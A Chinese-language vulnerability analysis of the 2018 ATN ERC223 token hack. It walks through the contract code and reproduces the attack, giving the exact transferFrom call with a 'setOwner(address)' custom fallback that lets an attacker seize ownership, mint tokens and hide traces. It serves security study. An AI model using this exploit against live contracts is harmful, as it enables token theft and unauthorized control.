一、ATN介紹
ATN作為全球首個(gè)區(qū)塊鏈+AI項(xiàng)目,是一個(gè)去中心化的、無需授權(quán)的、用戶自定義人工智能即服務(wù)(AIaaS)和使用接口的開放區(qū)塊鏈平臺(tái)。ATN公有鏈將引入DBot的Oracle預(yù)言機(jī)、跨鏈互操作技術(shù),且通過石墨烯架構(gòu)實(shí)現(xiàn)高并發(fā)TPS,側(cè)重解決人工智能服務(wù)(AIaas)與EVM兼容的智能合約之間互操作性的問題。ANT旨在提供下一代的區(qū)塊鏈平臺(tái),提供AIaaS人工智能即服務(wù)和智能合約,為各個(gè)DApp服務(wù),讓其可以具備調(diào)用人工智能能力,繁榮DBot生態(tài)。
然而在2018年5月11日中午,ATN安全檢測(cè)人員收到了異常的監(jiān)控報(bào)告,并發(fā)現(xiàn)其ATN存在漏洞并遭受攻擊。黑客利用了 ERC223 合約可傳入自定義的接收調(diào)用函數(shù)與 ds-auth 權(quán)限校驗(yàn)等特征,在 ERC223 合約調(diào)用這個(gè)自定義函數(shù)時(shí),合約調(diào)用自身函數(shù)從而造成內(nèi)部權(quán)限控制失效。而本文,我們就針對(duì)這次事件進(jìn)行漏洞分析,并在文章中對(duì)漏洞詳情進(jìn)行復(fù)現(xiàn)操作,以方便讀者進(jìn)行深入研究。
二、合約詳解
ATN Token合約采用的是在傳統(tǒng)ERC20Token合約基礎(chǔ)上的擴(kuò)展版本ERC223,并在此基礎(chǔ)上調(diào)用了dapphub/ds-auth 庫。而我們?cè)谇拔闹刑岬降暮霞s代碼均為ERC20,這里為何使用ERC23呢?下面我們介紹一下ERC23與ERC20的區(qū)別。
ERC223 是由 Dexaran 于 2017 年 3 月 5 日提出的一個(gè) Token 標(biāo)準(zhǔn)草案 ,用于改進(jìn) ERC20,解決其無法處理發(fā)往合約自身 Token 的這一問題。ERC20 有兩套代幣轉(zhuǎn)賬機(jī)制,一套為直接調(diào)用transfer()函數(shù),另一套為調(diào)用 approve() + transferFrom() 先授權(quán)再轉(zhuǎn)賬。當(dāng)轉(zhuǎn)賬對(duì)象為智能合約時(shí),這種情況必須使用第二套方法,否則轉(zhuǎn)往合約地址的 Token 將永遠(yuǎn)無法再次轉(zhuǎn)出。
下面我們具體來看一下ATN合約代碼的具體函數(shù)。
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
首先,代碼定義了兩個(gè)合約,第一個(gè)合約作為接口,而第二個(gè)合約聲明了兩個(gè)事件,用于記錄Authority以及設(shè)置owner。
下面是DSAuth合約。
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
此合約定義了一些基本的函數(shù),而該合約大部分的功能是用于進(jìn)行身份認(rèn)證。例如setOwner用于更新owner的身份。而下面定義了一個(gè)auth修飾器,其中調(diào)用了下文的isAuthorized函數(shù)。次函數(shù)是來判斷該地址是否為合約為owner或者是否被授權(quán)。
下面合約定義了DSStop。
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
看合約名我們也能清楚,該合約用于定義合約目前是否停止運(yùn)行。所以合約內(nèi)部定義了變量stopped并增加修飾器便于其余合約進(jìn)行繼承使用。
而為了防止出現(xiàn)整數(shù)溢出等問題,合約定義了安全函數(shù)。
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
通讀此合約,我們能夠了解到在除了正常的加減乘除之外,合約還定義了平方求冪的運(yùn)算函數(shù)——rpow。不過此函數(shù)在ATN中并沒有進(jìn)行使用。
之后定義了DSTokenBase基礎(chǔ)合約。
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
該合約與ERC20等基礎(chǔ)合約的部分相同,所以函數(shù)定義部分比較簡(jiǎn)單,這里就不進(jìn)行詳細(xì)說明。
contract DSToken is DSTokenBase(0), DSStop {
mapping (address => mapping (address => bool)) _trusted;
bytes32 public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
function DSToken(bytes32 symbol_) public {
symbol = symbol_;
}
event Trust(address indexed src, address indexed guy, bool wat);
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function trusted(address src, address guy) public view returns (bool) {
return _trusted[src][guy];
}
function trust(address guy, bool wat) public stoppable {
_trusted[msg.sender][guy] = wat;
Trust(msg.sender, guy, wat);
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && !_trusted[src][msg.sender]) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && !_trusted[guy][msg.sender]) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
Burn(guy, wad);
}
// Optional token name
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
DSToken繼承了上文的合約以及用于停止合約運(yùn)行的DSStop合約。
比較值得注意的地方為_trusted。此函數(shù)類似于記錄授權(quán)值,只有被授權(quán)后的用戶才能代替進(jìn)行轉(zhuǎn)賬操作。并且此授權(quán)值有固定的金額。
而mint函數(shù)也是此合約的重點(diǎn)。該函數(shù)用于增加某地址的金額數(shù)量,而想要執(zhí)行此函數(shù),必須經(jīng)過授權(quán)或者擁有權(quán)限。
之后合約定義了Controlled。
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
function Controlled() { controller = msg.sender;}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
controller = _newController;
}
}
此合約用于進(jìn)行權(quán)限的判斷并進(jìn)行對(duì)controller的修改。
而下面就是我們ATN合約的具體函數(shù)內(nèi)容了。
ATN合約定義了多個(gè)類型的轉(zhuǎn)賬函數(shù),其名字均相同,但是傳入?yún)?shù)不同(便于參與者定制)。
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
success = super.transferFrom(_from, _to, _amount);
if (success && isContract(_to))
{
// ERC20 backward compatiability
if(!_to.call(bytes4(keccak256("tokenFallback(address,uint256)")), _from, _amount)) {
// do nothing when error in call in case that the _to contract is not inherited from ERC223ReceivingContract
// revert();
// bytes memory empty;
ReceivingContractTokenFallbackFailed(_from, _to, _amount);
// Even the fallback failed if there is such one, the transfer will not be revert since "revert()" is not called.
}
}
}
我們挑選其中一個(gè)進(jìn)行詳細(xì)講解。
function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback)
public
returns (bool success)
{
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
require(super.transferFrom(_from, _to, _amount));
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
}
ERC223Transfer(_from, _to, _amount, _data);
return true;
}
在該合約中,我們知道函數(shù)首先判斷controller是否為一個(gè)合約而不是一個(gè)錢包地址。如何為合約的話,那么將調(diào)用TokenController中的onTransfer函數(shù)。
然而這并不是重點(diǎn),之后將使用require(super.transferFrom(_from, _to, _amount));函數(shù)進(jìn)行轉(zhuǎn)賬操作,此處使用了繼承的方法進(jìn)行轉(zhuǎn)賬,并使用require進(jìn)行對(duì)轉(zhuǎn)賬成功與否進(jìn)行判斷。只有成功才能繼續(xù)進(jìn)行。而后,我們將對(duì)_to地址進(jìn)行判斷,若此地址為合約,那么我們將調(diào)用receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);。而領(lǐng)我們疑問的是為什么次函數(shù)會(huì)調(diào)用receiver的內(nèi)部函數(shù)呢?我們?cè)谶@里理解為:ERC20Token與ERC20Token之間的直接互換。本質(zhì)上是發(fā)送ATN時(shí),通過回調(diào)函數(shù)執(zhí)行額外指令,比如發(fā)回其他Token。也就是說我們?cè)谶M(jìn)行了轉(zhuǎn)賬操作后可以傳入指令自動(dòng)執(zhí)行地址下的函數(shù),方便我們進(jìn)行連續(xù)操作。(出發(fā)點(diǎn)很好,但是因?yàn)榇硕嬖诹寺┒矗?/p>
而后是判定是否為合約的函數(shù)。
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
而為了保證安全性,合約還定義了轉(zhuǎn)賬函數(shù)以降低風(fēng)險(xiǎn)。
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
這里定義了claimTokens合約用于將余額全部提取以防止出現(xiàn)大的安全隱患。
三、漏洞復(fù)現(xiàn)
根據(jù)我們上文解釋,我們能夠發(fā)現(xiàn)在ATN合約中的轉(zhuǎn)賬函數(shù)多次出現(xiàn)了遠(yuǎn)程調(diào)用的內(nèi)容。這其實(shí)是很危險(xiǎn)的行為。通常當(dāng)我們調(diào)用 ERC20 的 approve()函數(shù)給一個(gè)智能合約地址后,對(duì)方并不能收到相關(guān)通知進(jìn)行下一步操作,常見做法是利用 接收通知調(diào)用(receiverCall)來解決無法監(jiān)聽的問題。上面代碼是一種實(shí)現(xiàn)方式,很不幸這段代碼有嚴(yán)重的 CUSTOM_CALL 濫用漏洞。調(diào)用approveAndCall()函數(shù)后,會(huì)接著執(zhí)行_spender上用戶自定義的其他方法來進(jìn)行接收者的后續(xù)操作。
所以我們完全可以在transferFrom函數(shù)中傳入特定的參數(shù)從而執(zhí)行特定的函數(shù)。
function transferFrom(address _from, address _to, uint256 _amount,
bytes _data, string _custom_fallback) public returns (bool success)
{
ERC223ReceivingContract receiver =
ERC223ReceivingContract(_to);
receiving.call.value(0)(byte4(keccak256(_custom_fallback)),
_from, amout, data);
}
比如我們可以傳入:
transferFrom( hacker_address, atn_contract_address, 0, 0,
"setOwner(address)")
_from: 0xxxxxxxx-- 黑客地址
_to: 0xxxxxxx -- ATN合約地址
_amount: 0
_data: 0x0
_custom_fallback: setOwner(address)
這樣函數(shù)就會(huì)在執(zhí)行轉(zhuǎn)賬操作后執(zhí)行setOwner函數(shù)。此時(shí) setOwner會(huì)先驗(yàn)證 auth 合法性的,而 msg.sender 就是ATN的合約地址。此時(shí)黑客將 ATN Token合約的 owner 變更為自己控制的地址。
首先我們需要部署合約。

之后調(diào)用mint函數(shù)進(jìn)行挖礦向合約中注入一定資產(chǎn)。

進(jìn)行查看。

此時(shí)我們創(chuàng)建攻擊者賬戶。并查看其余額,查看當(dāng)前owner。


之后我們切換到攻擊者賬戶下,并傳入?yún)?shù):

"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xca35b7d915458ef540ade6068dfe2f44e8fa733c",0,0x00,"setOwner(address)"
傳入后,我們?cè)俅尾榭?code>owner的信息。
卻發(fā)現(xiàn)失敗了。仔細(xì)閱讀后發(fā)現(xiàn)我們需要將令_to為一個(gè)合約地址。
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xbbf289d846208c16edc8474705c748aff07732db",0,0x00,"setOwner(address)"
更換地址后,我們執(zhí)行。得到如下結(jié)果。

此時(shí)我們能夠看到 owner已經(jīng)更換。
既然我們已經(jīng)成為合約擁有者,那么我們就給自己點(diǎn)福利。


我們成功給自己的賬戶中增加了一定的token。
之后我們?yōu)榱虽N聲匿跡。將合約主人換回從前。

至此,我們的攻擊目的已經(jīng)達(dá)到。
在真實(shí)ATN中,我們能夠查詢到真實(shí)攻擊的交易情況:
黑客獲得提權(quán),將自己的地址設(shè)為owner
https://etherscan.io/tx/0x3b7bd618c49e693c92b2d6bfb3a5adeae498d9d170c15fcc79dd374166d28b7b黑客在獲得owner權(quán)限后,發(fā)行1100w ATN到自己的攻擊主地址
https://etherscan.io/tx/0x9b559ffae76d4b75d2f21bd643d44d1b96ee013c79918511e3127664f8f7a910黑客將owner設(shè)置恢復(fù),企圖隱藏蹤跡
https://etherscan.io/tx/0xfd5c2180f002539cd636132f1baae0e318d8f1162fb62fb5e3493788a034545a
四、參考鏈接
本稿為原創(chuàng)稿件,轉(zhuǎn)載請(qǐng)標(biāo)明出處。謝謝。
首發(fā):[https://xz.aliyun.com/t/4773](https://xz.aliyun.com/t/4773)